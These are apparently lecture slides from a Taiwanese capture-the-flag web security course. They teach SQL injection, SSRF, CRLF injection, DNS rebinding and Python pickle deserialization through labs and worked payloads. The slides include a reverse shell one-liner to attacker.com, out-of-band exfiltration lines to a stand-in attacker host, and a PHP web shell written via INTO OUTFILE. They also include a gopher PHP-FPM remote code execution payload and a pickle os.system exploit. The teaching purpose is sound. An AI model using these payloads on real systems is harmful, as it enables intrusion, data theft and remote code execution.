

超機密

網站安全補完計畫 第2次中間報告書

Plan zur Komplementarität der Website-Sicherheit


2. Zwischenbericht | edu-ctf | @splitline

Lab: Hakka MD

Lab: DNS Lookup Tool



Lab: Log me in

OWASP Top 10 | 2017 → 2021



Never Trust User Input

Reverse Shell



Step to spawn a reverse shell

1. Run `ncat -klvp [PORT]` on attacker's host
2. Run `/bin/sh -i >& /dev/tcp/[HOST]/[PORT] 0<&1` on victim
3. Attacker should receive a reverse shell

```
/bin/sh -i >& /dev/tcp/attacker.com/7414 0<&1
```

Reverse shell

`-i interactive` Force the shell to behave interactively.

```
/bin/sh -i >& /dev/tcp/attacker.com/7414 0<&1
```

Reverse shell

Redirect **stderr** & **stdout** to attacker.com:7414

```
/bin/sh -i >& /dev/tcp/attacker.com/7414 0<&1
```

Reverse shell

Redirect **stdout** (of socket) to **stdin** (of /bin/sh)

```
/bin/sh -i >& /dev/tcp/attacker.com/7414 0<&1
```

Reverse shell

SQL: The correct way

- Escape?
 - Add “\” before characters which need to be escaped
 - ' " \ NULL ...
 - e.g. <https://www.php.net/manual/zh/function.addslashes.php>
- Parameterized Query (參數化查詢)

```
username = request.args.get('username')
```

```
cursor.execute("SELECT * from users WHERE username=?", (username, ))
```

Besides 'or 1=1--

Data Exfiltration

- Union Based
- Blind
 - Boolean Based
 - Time Based
- Error Based
- Out-of-Band

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Union?

- 用來合併多個查詢結果（取聯集）
- UNION 的多筆查詢結果欄位數需相同

```
SELECT 'meow', 8787;
```

<column 1>	<column 2>
'meow'	48763

Union?

- 用來合併多個查詢結果（取聯集）
- UNION 的多筆查詢結果欄位數需相同


```
SELECT 'meow', 48763 UNION SELECT 'cat', 222;
```

<column 1>	<column 2>
'meow'	48763
'cat'	222



title	content
Hello	Hello World!
Cat	Meow Meow

```
SELECT title, content from News where id=1
```



title	content
Hello	Hello World!
Cat	Meow Meow

```
SELECT title, content from News where id=2
```



title	content
Hello	Hello World!
Cat	Meow Meow
1	2

```
SELECT title, content from News where id=2  
UNION SELECT 1, 2
```



id	title	content
	1	2

```
SELECT title, content from News where id=-1  
UNION SELECT 1, 2
```



id	title	content
	1	root@localhost

```
SELECT title, content from News where id=-1
      UNION SELECT 1, user()
```

news.php?id=-1 UNION

Title


root@local

MySQL Functions

- user() /
current_user()
- version()
- database() / schema()
 - current database
-

content

root@localhost



```
SELECT title, content from News where id=-1  
UNION SELECT 1, user()
```



id	title	content
	1	p@55w0rd

```
SELECT title, content from News where id=-1  
UNION SELECT 1, password from Users
```



你怎麼通靈出 table name 和 column name 的RRR

information_schema

MySQL 中用來儲存 metadata 的 table (MySQL \geq 5.0)

不同 DBMS 有不同的表來達成這件事 (例如: SQLite 有 sqlite_master)

- Database Name

```
SELECT schema_name FROM information_schema.schemata
```

- Table Name

```
SELECT table_name FROM information_schema.tables
```

- Column Name

```
SELECT column_name FROM information_schema.columns
```

title	content
1	Users

```
SELECT title, content from News where id=-1  
UNION
```

```
SELECT 1, table_name from information_schema.tables  
where table_schema='mycooldb' limit 0,1
```



title	content
1	id

```
SELECT title, content from News where id=-1  
UNION
```

```
SELECT 1, column_name from information_schema.columns  
where table_schema='mycooldb' limit 0,1
```

title	content
1	id,username,password

```
SELECT title, content from News where id=-1
      UNION
SELECT 1, group_concat(column_name) from
      information_schema.columns
      where table_schema='mycooldb'
```

title	content
admin	p@55w0rd

```
SELECT title, content from News where id=-1
UNION SELECT username, password from Users
```

Lab: Log me in: Revenge
Lab: Bulletin Board

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Data Exfiltration

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Blind?

- 資料不會被顯示出來
- 只可以得知 Yes or No
 - 有內容/沒內容
 - 成功/失敗
 - ...
- 常見場景
 - 登入
 - 檢查 id 是否被用過
 - ...

Identify

- `SELECT * FROM Users WHERE id = 1` Yes
- `SELECT * FROM Users WHERE id = -1` No
- `SELECT * FROM Users WHERE id = 1 and 1=1` Yes
- `SELECT * FROM Users WHERE id = 1 and 1=2` No

操縱此處的 true / false 來 leak 資料 ←

Exploit with Binary Search

- ... id = 1 # Basic condition Yes
- ... id = 1 and length(user()) > 0 Yes
- ... id = 1 and length(user()) > 16 No
- ... id = 1 and length(user()) > 8 No
- ... id = 1 and length(user()) > 4 Yes
- ... id = 1 and length(user()) > 6 No
- ... id = 1 and length(user()) = 5 Yes
→ user() 長度是 5

假設 user() 是 'mysql'

Exploit with Binary Search



- ... id = 1 and ascii(mid(user(),1,1)) > 0 Yes
- ... id = 1 and ascii(mid(user(),1,1)) > 80 No
-

假設 `user()` 是 `'mysql'`

Data Exfiltration

- Union Based
- Blind
 - Boolean Based
 - Time Based
- Error Based
- Out-of-Band

Time Based

- 頁面上什麼都看不到，不會顯示任何東西
- 利用 query 時產生的時間差判斷
- 哪來的時間差？
 - sleep
 - query / 運算大量資料
 - repeat('A', 10000000)

Exploit

SLEEP 版的 boolean based

- ... id = 1 and IF(ascii(mid(user(),1,1))>0, SLEEP(10), 1)
- ... id = 1 and IF(ascii(mid(user(),1,1))>80, SLEEP(10), 1)
-

Data Exfiltration

- Union Based
- Blind
 - Boolean Based
 - Time Based
- **Error Based**
- Out-of-Band

Error Based

- 伺服器可回傳資料庫錯誤訊息
- 透過惡意輸入，控制報錯內容來偷資料
- Cons.
 - 不會顯示錯誤訊息
 - 錯誤訊息大多有長度限制

Useful functions

- XML Functions
 - `ExtractValue(xml, xpath)`
 - `UpdateXML(xml, xpath, new_xml)`
- Value Overflow
 - `exp(X)`
- Geometry related
 - `MultiLineString(LineString)`
 - `MultiPolygon(Polygon)`

...

Exploit

```
select ExtractValue(1, concat(0x0A,version()));
```

**XPATH syntax error: '
8.0.20'**

Data Exfiltration

- Union Based
- Blind
 - Boolean Based
 - Time Based
- Error Based
- Out-of-Band

Out of Band

- 把資料往外傳！

- MySQL + Windows

`load_file(concat("\\\\", user(), ".splitline.tw"))`



Samba + DNS Query Log

Tool: DNSBin <https://github.com/ettic-team/dnsbin>

- Oracle

`url_http.request('http://attacker/' || (select user from dual))`

Advanced Tricks

- Read file
- Write file
- RCE

Read / Write file

Read

- MySQL
`SELECT LOAD_FILE('/etc/passwd');`
- PostgreSQL
`SELECT pg_read_file('/etc/passwd', <offset>, <length>);`

Write

- MySQL
`SELECT "<?php eval($_GET[x]);?>" INTO OUTFILE "/var/www/html/shell.php"`

sqlmap

- <http://sqlmap.org/>
- `sqlmap.py 'target_url' --dump`
- Script kiddie 最愛
(可是真的很好用 👍)
- `--tamper`: 可以 bypass 部分 WAF



url=http://SSRF@127.0.0.1

URL: `https://github.com|`

Preview

URL: `https://github.com|`

GITHUB.COM

GitHub: Build software
better, together

GitHub is where people build software. More than ...

URL: `https://127.0.0.1|`

Preview

URL: `https://127.0.0.1|`

127.0.0.1

Local Service

Hello localhost user!

URL: `https://127.0.0.1|`

SSRF

127.0.0.1

Local Service


Hello localhost user!

SSRF

- Server Side Request Forgery
- 外部使用者使 server 發起請求 → 存取內網資源



Hacker



Identify

- 回傳內容
- HTTP Request Log
 - cons. 對外 http 被擋？
- DNS Query Log
 - 伺服器端是否有進行 DNS 查詢

決定是否能被 SSRF

scheme://authority/foo/bar?foo=bar#123

決定 SSRF 的攻擊面

SSRF 的深度

決定是否能被 SSRF

`scheme://authority/foo/bar?foo=bar#123`

決定 SSRF 的攻擊面

SSRF 的深度

SSRF 攻擊面

For Local

- `file:///etc/passwd`
- `file://localhost/etc/passwd`
- Python (Old version, ref: [urllib module local file:// scheme](#))
 - `local_file:///etc/passwd`
- Java: 可列目錄
 - `file:///etc/`
 - `netdoc:///etc/`

SSRF 攻撃面

For Local

- PHP
 - <https://www.php.net/manual/en/wrappers.php.php>
 - `php://filter`
 - `php://fd`
 - ...

SSRF 攻撃面

For Remote

- Which is useful?


	PHP	Java	cURL	Perl	ASP.NET
gopher	--with-curlwrappers	before last patches	w/o \0 char	+	Old Ver.
tftp	--with-curlwrappers	-	w/o \0 char	-	-
http	+	+	+	+	+
https	+	+	+	+	+
ldap	-	-	+	+	-
ftp	+	+	+	+	+
dict	--with-curlwrappers	-	+	-	-
ssh2	disabled by default	-	-	Net:SSH2 required	-
file	+	+	+	+	+
ogg	disabled by default	-	-	-	-
expect	disabled by default	-	-	-	-
imap	--with-curlwrappers	-	+	+	-
pop3	--with-curlwrappers	-	+	+	-
mailto	-	-	-	+	-
smtp	--with-curlwrappers	-	+	-	-
telnet	--with-curlwrappers	-	+	-	-

http(s)://

- 存取/攻擊內網 web service
- GET request only (通常)

http(s):// -- Docker API

- `http://IP:2375/images/json`



```
[
  {
    "Id": "sha256:f895b3fb9e3032cddf68d798ce00c46be433e15285c99b12d51c1b1ae7671334",
    "ParentId": "",
    "RepoTags": [
      "docker.io/nginx:latest"
    ],
    "RepoDigests": [
      "docker.io/nginx@sha256:2ffc60a51c9d658594b63ef5acf9d92f4e1550f633a3a16d898925c4e7f5a7"
    ],
    "Created": 1513055703,
    "Size": 108468119,
    "VirtualSize": 108468119,
    "Labels": {
      "maintainer": "NGINX Docker Maintainers <docker-maint@nginx.com>"
    }
  }
]
```

http(s):// -- Cloud Metadata

- Cloud metadata?
 - 儲存該 cloud service 的一些資訊
 - 大多數雲端服務都有 (AWS, GCP ...)
- GCP
 - <http://metadata.google.internal/computeMetadata/v1/> ...
- AWS
 - <http://169.254.169.254/latest/user-data/> ...

metadata.google.internal/computeMetadata/v1/*

- Get Project ID
/project/project-id
- Get Permission
/instance/service-accounts/default/scopes
- Get access token
/instance/service-accounts/default/token

More → Doc: [Accessing Instance Metadata - App Engine](#)

metadata.google.internal/computeMetadata/v1/*

- Get Project ID
/project/project-id

以上都需要 Request Header
Metadata-Flavor: Google

accounts/default/token

More → Doc: [Accessing Instance Metadata - App Engine](#)

CRLF Injection

HTTP/1.1 302 Found

Content-Length: 35\r\n

Content-Type: text/html; charset=UTF-8\r\n

Location: **https://example.com/\r\n**

\r\n

<script>alert(1)</script>\r\n

Server: Apache/2.4.41 (Ubuntu)\r\n

\r\n

Redirecting to / ...

BODY

?redirect=http://example.com/%0d%0a%0d%0a ...

CRLF Injection

```
do_request($_GET['url'])
```



如果 do_request 有 CRLF injection?

CRLF Injection

```
do_request("http://host/meow")
```

```
GET /meow HTTP/1.1\r\n
Host: host\r\n
User-agent: requestlib\r\n
...
```

CRLF Injection

```
do_request("http://host/ HTTP/1.1\r\nHeader: x\r\nX:")
```

```
GET / HTTP/1.1\r\n
Header: xxx
X: HTTP/1.1\r\n
Host: host\r\n
User-agent: requestlib\r\n
...
```

CRLF Injection



```
do_request("http://host/ HTTP/1.1\r\nHeader: x\r\nX:")
```

```
GET / HTTP/1.1\r\n
Header: xxx
X: HTTP/1.1\r\n
Host: host\r\n
User-agent: requestlib\r\n
...
```

gopher://

- 神奇萬用協議
- 構造任意 TCP 封包
- 限制：無法交互操作

gopher://127.0.0.1:8787/WHAT%20Cat%0D%0Ameow

Padding

任意 TCP 封包內容

gopher://

- HTTP GET

gopher://127.0.0.1:80/_GET%20/%20HTTP/1.1%0D%0A
Host:127.0.0.1%0D%0A%0D%0A

```
urlencode( GET / HTTP/1.1\r\n  
            Host: 127.0.0.1\r\n            )  
            \r\n
```

gopher://

- HTTP POST?

gopher://127.0.0.1:80/_LAB%20TIME!



Lab: Preview Card

Gopher × MySQL

- 條件：無密碼（不需要交互驗證）
- 利用 Gopher 連上 MySQL server 操作
- [tarunkant/Gopherus](#)

Gopher × Redis

- Key-Value DB
- Default port: 6379

`gopher://127.0.0.1:6379/_SET%20key%20"value"%0D%0A`

```
SET key "value"\r\n
```

CRLF injection × Redis

- Key-Value DB
- Default port: 6379

`http://127.0.0.1:6379/%0D%0ASET%20key%20"value"%0D%0A`

```
SET key "value"\r\n
```

Redis 進階招數

```
FLUSHALL
```

```
SET meow "<?php phpinfo() ?>"
```

```
CONFIG SET DIR /var/www/html/
```

```
CONFIG SET DBFILENAME shell.php
```

```
SAVE
```


Write file

Sync 遠端的惡意主機，導致載入惡意模組 → RCE


reference: [Redis post-exploitation](#)

RCE

Gopher × PHP-FPM



Gopher × PHP-FPM



Gopher × PHP-FPM

gopher://127.0.0.1:9000/

_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH25%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%200n%0Adisable_functions%20%3D%20%0Aauto_prepend_file=php://input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%19%04%00<?php system('ls -al');?>%00%00%00%00

Gopher x PHP-FPM

gopher://127.0.0.1:9000/

1%01%04%04%00%05%

RCE

```
nd_file=php://input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.  
php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%  
01%05%00%01%00%19%04%00<?php system('ls -al');?>%00%00%00%00
```

決定是否能被 SSRF

scheme://authority/foo/bar?foo=bar#123

決定 SSRF 的攻擊面

SSRF 的深度


決定是否能被 SSRF

scheme://**authority**/foo/bar?foo=bar#123

決定 SSRF 的攻擊面

SSRF 的深度

Bypass Rule -- IP

- IP Address: 127.0.0.1
 -  - 10 進位 2130706433
 - 16 進位 0x7f000001
 - 16 進位 0x7f.0x00.0x00.0x01
 - 8 進位 017700000001
- IPv6 → \$1.000 SSRF in Slack.
 - [::127.0.0.1]
 - [::1]
 - [::]

Bypass Rule -- Domain Name

- Point domain to any IP you want
 - 127.0.0.1.xip.io
 - whatever.localtest.me
- IDN Encoding
 - `splitline.tw` is the same as `splitline.tw`
 - <http://www.unicode.org/reports/tr46/>
 - Toy: [Domain Obfuscator](#)


玩壞 URL Parser 🍊



[A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!](#)

Blackhat USA 2017

Quick Fun Example



DNS Rebinding

Round-Robin DNS

一個 domain 綁兩個 A record

TTL = (Small Value) → 快速切換

- evil.com → 48.7.6.3 # 第一次 query
- evil.com → 127.0.0.1 # 第二次 query

線上服務 : rebind.network

DNS Rebinding

```
1.  <?php
2.      $host = parse_url($url)['host'];
3.      $address = gethostbyname($host);
4.      if(is_valid($address))
5.          request_to($url);
6.  ?>
```

DNS Rebinding

```
1.  <?php
2.      $host = parse_url($url)['host'];
3.      $address = gethostbyname($host); ← 48.7.6.3 ✓
4.      if(is_valid($address))          ← PASS! ✓
5.      request_to($url);                ← 127.0.0.1 ☠
6.  ?>
```

Lab: SSRFrog

Insecure Deserialization

Serialization / 序列化

- 將記憶體中的資料結構、物件，轉換成可傳輸、儲存的格式
- 最常見的 — JSON

```
>> let obj = { arr: [], boolean: false, string: "meow" }
```

```
>> let json = JSON.stringify(obj)
```

```
← ▶ '{"arr":[],"boolean":false,"string":"meow"}'
```

Deserialization / 反序列化

- 將記憶體中的資料結構、物件，轉換成可傳輸、儲存的格式
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```

```
>> let json = JSON.stringify(obj)
```

```
← ► '{"arr":[],"boolean":false,"string":"meow"}'
```

```
>> JSON.parse(json)
```

```
← ► { arr: [], boolean: false, string: "meow" }
```

Deserialization / 反序列化

- 將記憶體中的資料結構、物件，轉換成可傳輸、儲存的格式
- 最常見的 — JSON

```
>> let obj = { arr: [], boolean: false, string: "meow" }
```

```
>> let json = JSON.stringify(obj)
```

```
← ► '{"arr":[],"boolean":false,"string":"meow"}'
```

```
>> eval(json)
```

```
← ► { arr: [], boolean: false, string: "meow" }
```


Deserialization / 反序列化

- 將記憶體中的資料結構、物件，轉換成可傳輸、儲存的格式
- 最常見的 — JSON

Insecure

```
>> eval(json)
```

```
← ► { arr: [], boolean: false, string: "meow" }
```

Deserialization / 反序列化

- 將序列化過後的資料，轉換回程式中對應物件的行為
- 這會有什麼問題？
 - 如果要被反序列化的資料**可控**？
 - 反序列化之時/之後
 - 自動呼叫 **Magic Method**
 - 控制程式流程

Python Pickle

Python Serialization: Pickle

```
>>> import pickle
>>> (s := pickle.dumps({"cat": "meow"}))
b'\x80\x04\x95\x11\x00\x00\x00\x00\x00\x00\x00}\x94\x8c\x03cat\x94\x8c\x04meow\x94s.'
>>> pickle.loads(s)
{'cat': 'meow'}
>>>
```

序列化

`pickle.dumps()`

反序列化

`pickle.loads()`

Python Serialization: Pickle

```
>>> import pickle
>>> (s := pickle.dumps({"cat": "meow"}))
b'\x80\x04\x95\x11\x00\x00\x00\x00\x00\x00}\x94\x8c\x03cat\x94\x8c\x04meow\x94s.'
>>> pickle.loads(s)
{'cat': 'meow'}
>>>
```

序列化

`pickle.dumps()`

反序列化

`pickle.loads()`

Magic Method: `__reduce__`

```
class Exploit(object):  
    def __reduce__(self):  
        return (os.system, ('id',))
```

```
serialized = pickle.dumps(Exploit())  
print(bytes.hex(serialized))
```

exploit.py

```
serialized = bytes.fromhex(input('Data: '))  
pickle.loads(serialized)
```

server_app.py

Magic Method: `__reduce__`

```
class Exploit(object):
```



A terminal window with a dark background. The title bar shows three colored circles (red, yellow, green) and the text "splitline@splitline:/tmp/pickle". The prompt is ">". The command entered is "python exploit.py | python server_app.py". The output is a long string of text representing a pickled object, starting with "Data: uid=501(splitline) gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)".

```
> python exploit.py | python server_app.py
Data: uid=501(splitline) gid=20(staff) groups=20(staff),701(com.apple.sharepoint
.group.1),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(ad
min),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_develope
r),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensha
ring),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
```

6/19, 3:14 PM

12 GB

10%

0.0 kB↓

0.0 kB↑

```
serialized = bytes.fromhex(input('Data: '))
pickle.loads(serialized)
```

server_app.py

Back to Python pickle

```
class Exploit(object):  
    def __reduce__(self):  
        return (os.system, ('id',))
```

```
serialized = pickle.dumps(Exploit())
```

__reduce__ 背後做了什麼？



Back to Python `pickle`

```
class Exploit(object):  
    def __reduce__(self):  
        return (os.system, ('id',))
```

```
serialized = pickle.dumps(Exploit(), protocol=3)
```

```
# Serialized data
```

```
b'\x80\x03cposix\nsystem\nq\x00X\x02\x00\x00\x00idq\x01\x85q\x02Rq\x03.'
```

```
>>> pickletools.dis(serialized) # Disassemble pickle!
```




Disassemble Pickle

0	<empty>
1	<empty>
2	<empty>
3	<empty>
...	



Memo

(bottom)
<empty>
<empty>
<empty>
<empty>
...

(top)
Stack



```
0: \x80 PROTO 3
2: c GLOBAL 'posix system'
16: q BININPUT 0
18: X BINUNICODE 'id'
25: q BININPUT 1
27: \x85 TUPLE1
28: q BININPUT 2
30: R REDUCE
31: q BININPUT 3
33: . STOP
```

Protocol version = 3

Disassemble Pickle

0	<empty>
1	<empty>
2	<empty>
3	<empty>
...	

Memo

(bottom)
<os.system>
<empty>
<empty>
<empty>
...

(top)

Stack

```
0: \x80  PROTO      3
2: c      GLOBAL     'posix system'
16: q      BININPUT   0
18: X      BINUNICODE 'id'
25: q      BININPUT   1
27: \x85  TUPLE1
28: q      BININPUT   2
30: R      REDUCE
31: q      BININPUT   3
33: .      STOP
```

```
import posix.system & push to stack
```

Disassemble Pickle

0	<os.system>
1	<empty>
2	<empty>
3	<empty>
...	

Memo

(bottom)

<os.system>
<empty>
<empty>
<empty>
...

(top)
Stack

```
0: \x80  PROTO      3
2: c      GLOBAL    'posix system'
16: q      BININPUT  0
18: X      BINUNICODE 'id'
25: q      BININPUT  1
27: \x85  TUPLE1
28: q      BININPUT  2
30: R      REDUCE
31: q      BININPUT  3
33: .      STOP
```

Store the stack top into memo 0

Disassemble Pickle

0	<os.system>
1	<empty>
2	<empty>
3	<empty>
...	

Memo

(bottom)

<os.system>
'id'
<empty>
<empty>
...

(top)
Stack

```
0:  \x80  PROTO      3
2:  c      GLOBAL    'posix system'
16: q      BININPUT  0
18: X      BINUNICODE 'id'
25: q      BININPUT  1
27: \x85  TUPLE1
28: q      BININPUT  2
30: R      REDUCE
31: q      BININPUT  3
33: .      STOP
```

Push a unicode object: 'id'

Disassemble Pickle

0	<os.system>
1	'id'
2	<empty>
3	<empty>
...	

Memo

(bottom)

<os.system>
'id'
<empty>
<empty>
...

(top)
Stack

```
0: \x80  PROTO      3
2: c      GLOBAL    'posix system'
16: q      BININPUT  0
18: X      BINUNICODE 'id'
25: q      BININPUT  1
27: \x85  TUPLE1
28: q      BININPUT  2
30: R      REDUCE
31: q      BININPUT  3
33: .      STOP
```

Store the stack top into memo 1

Disassemble Pickle

0	<os.system>
1	'id'
2	<empty>
3	<empty>
...	

Memo

(bottom)

<os.system>
('id',)
<empty>
<empty>
...

(top)
Stack

```
0: \x80  PROTO      3
2: c      GLOBAL    'posix system'
16: q      BININPUT  0
18: X      BINUNICODE 'id'
25: q      BININPUT  1
27: \x85  TUPLE1
28: q      BININPUT  2
30: R      REDUCE
31: q      BININPUT  3
33: .      STOP
```

Build a one-tuple from topmost stack

Disassemble Pickle

0	<os.system>
1	'id'
2	('id',)
3	<empty>
...	

Memo

(bottom)

<os.system>
('id',)
<empty>
<empty>
...

(top)
Stack

```
0: \x80  PROTO      3
2: c      GLOBAL     'posix system'
16: q      BININPUT   0
18: X      BINUNICODE 'id'
25: q      BININPUT   1
27: \x85  TUPLE1
28: q      BININPUT   2
30: R      REDUCE
31: q      BININPUT   3
33: .      STOP
```

Store the stack top into memo 2

Disassemble Pickle

0	<os.system>
1	'id'
2	('id',)
3	<empty>
...	

Memo

(bottom)
'uid=0 (root) ... '
<empty>
<empty>
<empty>
...

(top)

Stack

```
0: \x80  PROTO      3
2: c      GLOBAL    'posix system'
16: q      BININPUT  0
18: X      BINUNICODE 'id'
25: q      BININPUT  1
27: \x85  TUPLE1
28: q      BININPUT  2
30: R      REDUCE
31: q      BININPUT  3
33: .      STOP
```

```
args=stack.pop(), func=stack.pop()
stack.push(func(args))
```

Disassemble Pickle

0	<os.system>
1	'id'
2	('id',)
3	'uid=0 (... '
...	

Memo


(bottom)
'uid=0 (root) ... '
<empty>
<empty>
<empty>
...

(top)
Stack

```
0: \x80  PROTO      3
2: c      GLOBAL     'posix system'
16: q      BININPUT   0
18: X      BINUNICODE 'id'
25: q      BININPUT   1
27: \x85  TUPLE1
28: q      BININPUT   2
30: R      REDUCE
31: q      BININPUT   3
33: .      STOP
```

Store the stack top into memo 3

Disassemble Pickle



```
0: \x80  PROTO      3
2: c      GLOBAL    'posix system'
16: q      BININPUT  0
18: X      BINUNICODE 'id'
25: q      BININPUT  1
27: \x85  TUPLE1
28: q      BININPUT  2
30: R      REDUCE
31: q      BININPUT  3
33: .      STOP
```

Stop & return `stack.top`

Disassemble Pickle

0	<os.system>
1	'id'
2	('id',)
3	'uid=0 (... '
...	

Memo

(bottom)

'uid=0 (root) ... '
<empty>
<empty>
<empty>
...

(top)

Stack

```
0:  \x80  PROTO      3
2:  c      GLOBAL    'posix system'
16: X      BINUNICODE 'id'
23:  \x85  TUPLE1
24:  R      REDUCE
25:  .      STOP
```

</slide>